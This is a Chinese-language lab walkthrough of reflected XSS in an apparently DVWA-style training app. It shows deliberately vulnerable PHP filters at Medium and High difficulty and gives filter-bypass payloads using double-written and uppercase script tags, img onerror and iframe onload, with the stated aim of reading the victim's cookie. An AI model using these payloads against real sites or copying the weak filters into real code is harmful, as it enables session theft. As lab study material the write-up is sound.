About

Cross Site Scripting(XSS),即跨站脚本攻击,是一种常见的 web 安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份 / 钓鱼 / 传播恶意代码等行为。

XSS 的本质其实是一种“HTML”注入,用户的数据被当做 HTML 代码执行,从而混淆了原本的语义,产生了新的语义。

本节展示的是反射型 XSS,它一般在 URL 中,也有在 GET 或 POST 的参数中。反射型 XSS 是通过提交内容,然后不经过数据库,直接反射回显在页面上。

Object

窃取用户的 Cookie。

001 Low

该等级下开发者没有做任何防护。我们尝试在文本框输入一些字符:

1-1.png

可以看到参数在 URL 中,我们试一试:

  1. ?name=<script>alert(document.cookie)</script>

1-2.png

002 Medium

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "
<pre>Hello ${name}</pre>";
}

?>

该等级下,开发者使用str_replace()替换<script>字符。我们可以尝试双写绕过、大小写替换绕过、其他标签绕过。

1、双写绕过,输入<sc<script>ript>alert(document.cookie)</script>,弹窗成功。

2-1.png

2、大小写绕过,输入<SCRIPT>alert(document.cookie)</SCRIPT>,弹窗成功。

2-2.png

3、其他标签绕过,输入<img src/onerror=alert(document.cookie)>,弹窗成功。

2-3.png

003 High

 <?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "
<pre>Hello ${name}</pre>";
}

?>

开发者使用正则表达式移除模式<s*c*r*i*p*t。我们可以通过<img>标签绕过:

<img src/onerror=alert(document.cookie)>

3-1.png

或者使用<iframe>标签绕过:

3-2.png

<iframe onload=alert(document.cookie)></iframe>

3-3.png

References